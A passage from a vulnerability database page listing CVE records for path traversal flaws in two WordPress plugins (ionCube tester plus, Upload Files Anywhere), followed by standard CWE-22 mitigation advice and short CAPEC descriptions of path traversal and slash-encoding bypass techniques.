"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-28T16:14:40.375Z",
"orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
"shortName": "Patchstack"
},
"references": [
{
"tags": [
"vdb-entry"
],
"url": "https://patchstack.com/database/Wordpress/Plugin/ioncube-tester-plus/vulnerability/wordpress-ioncube-tester-plus-plugin-1-3-arbitrary-file-download-vulnerability?_s_id=cve"
}
],
"title": "WordPress ionCube tester plus plugin \u003c= 1.3 - Arbitrary File Download vulnerability"
}
},
"cveMetadata": {
"assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
"assignerShortName": "Patchstack",
"cveId": "CVE-2025-69411",
"datePublished": "2026-03-05T05:53:32.372Z",
"dateReserved": "2025-12-31T20:13:23.068Z",
"dateUpdated": "2026-04-28T21:01:54.552Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-69380 (GCVE-0-2025-69380)
Vulnerability from cvelistv5 – Published: 2026-02-20 15:46 – Updated: 2026-04-28 20:57
VLAI
EPSS
VEX
Title
WordPress Upload Files Anywhere plugin <= 2.8 - Arbitrary File Download vulnerability
Summary
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in vanquish Upload Files Anywhere wp-upload-files-anywhere allows Path Traversal.This issue affects Upload Files Anywhere: from n/a through <= 2.8.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-23 21:01 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://patchstack.com/database/Wordpress/Plugin/… | vdb-entry |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| vanquish | Upload Files Anywhere |
Affected:
0 , ≤ 2.8
(custom)
|
Date Public
2026-04-01 16:04
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-69380",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-23T21:01:54.391949Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-28T20:57:15.359Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://codecanyon.net",
"defaultStatus": "unaffected",
"packageName": "wp-upload-files-anywhere",
"product": "Upload Files Anywhere",
"vendor": "vanquish",
"versions": [
{
"lessThanOrEqual": "2.8",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Phat RiO | Patchstack Bug Bounty Program"
}
],
"datePublic": "2026-04-01T16:04:12.980Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in vanquish Upload Files Anywhere wp-upload-files-anywhere allows Path Traversal.\u003cp\u003eThis issue affects Upload Files Anywhere: from n/a through \u003c= 2.8.\u003c/p\u003e"
}
],
"value": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in vanquish Upload Files Anywhere wp-upload-files-anywhere allows Path Traversal.This issue affects Upload Files Anywhere: from n/a through \u003c= 2.8."
}
],
"impacts": [
{
"capecId": "CAPEC-126",
"descriptions": [
{
"lang": "en",
"value": "Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-28T16:14:39.721Z",
"orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
"shortName": "Patchstack"
},
"references": [
{
"tags": [
"vdb-entry"
],
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-upload-files-anywhere/vulnerability/wordpress-upload-files-anywhere-plugin-2-8-arbitrary-file-download-vulnerability?_s_id=cve"
}
],
"title": "WordPress Upload Files Anywhere plugin \u003c= 2.8 - Arbitrary File Download vulnerability"
}
},
"cveMetadata": {
"assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
"assignerShortName": "Patchstack",
"cveId": "CVE-2025-69380",
"datePublished": "2026-02-20T15:46:53.401Z",
"dateReserved": "2025-12-31T20:13:05.452Z",
"dateUpdated": "2026-04-28T20:57:15.359Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-69379 (GCVE-0-2025-69379)
Vulnerability from cvelistv5 – Published: 2026-02-20 15:46 – Updated: 2026-04-28 20:57
VLAI
EPSS
VEX
Title
WordPress Upload Files Anywhere plugin <= 2.8 - Arbitrary File Deletion vulnerability
Summary
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in vanquish Upload Files Anywhere wp-upload-files-anywhere allows Path Traversal.This issue affects Upload Files Anywhere: from n/a through <= 2.8.
Severity
8.6 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-25 15:11 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://patchstack.com/database/Wordpress/Plugin/… | vdb-entry |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| vanquish | Upload Files Anywhere |
Affected:
0 , ≤ 2.8
(custom)
|
Date Public
2026-04-01 16:04
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-69379",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-25T15:11:49.453491Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-28T20:57:05.997Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://codecanyon.net",
"defaultStatus": "unaffected",
"packageName": "wp-upload-files-anywhere",
"product": "Upload Files Anywhere",
"vendor": "vanquish",
"versions": [
{
"lessThanOrEqual": "2.8",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Phat RiO | Patchstack Bug Bounty Program"
}
],
"datePublic": "2026-04-01T16:04:12.731Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in vanquish Upload Files Anywhere wp-upload-files-anywhere allows Path Traversal.\u003cp\u003eThis issue affects Upload Files Anywhere: from n/a through \u003c= 2.8.\u003c/p\u003e"
}
],
"value": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in vanquish Upload Files Anywhere wp-upload-files-anywhere allows Path Traversal.This issue affects Upload Files Anywhere: from n/a through \u003c= 2.8."
}
],
"impacts": [
{
"capecId": "CAPEC-126",
"descriptions": [
{
"lang": "en",
"value": "Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-28T16:14:39.776Z",
"orgId": "21595511-bba5-4825-b968-b78d1f9984a3",
"shortName": "Patchstack"
},
"references": [
{
"tags": [
"vdb-entry"
],
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-upload-files-anywhere/vulnerability/wordpress-upload-files-anywhere-plugin-2-8-arbitrary-file-deletion-vulnerability?_s_id=cve"
}
],
"title": "WordPress Upload Files Anywhere plugin \u003c= 2.8 - Arbitrary File Deletion vulnerability"
}
},
"cveMetadata": {
"assignerOrgId": "21595511-bba5-4825-b968-b78d1f9984a3",
"assignerShortName": "Patchstack",
"cveId": "CVE-2025-69379",
"datePublished": "2026-02-20T15:46:53.230Z",
"dateReserved": "2025-12-31T20:13:05.452Z",
"dateUpdated": "2026-04-28T20:57:05.997Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Mitigation MIT-5.1
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Implementation
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Architecture and Design
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Architecture and Design
Operation
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Architecture and Design
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design
Operation
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design
Operation
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation
Implementation
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.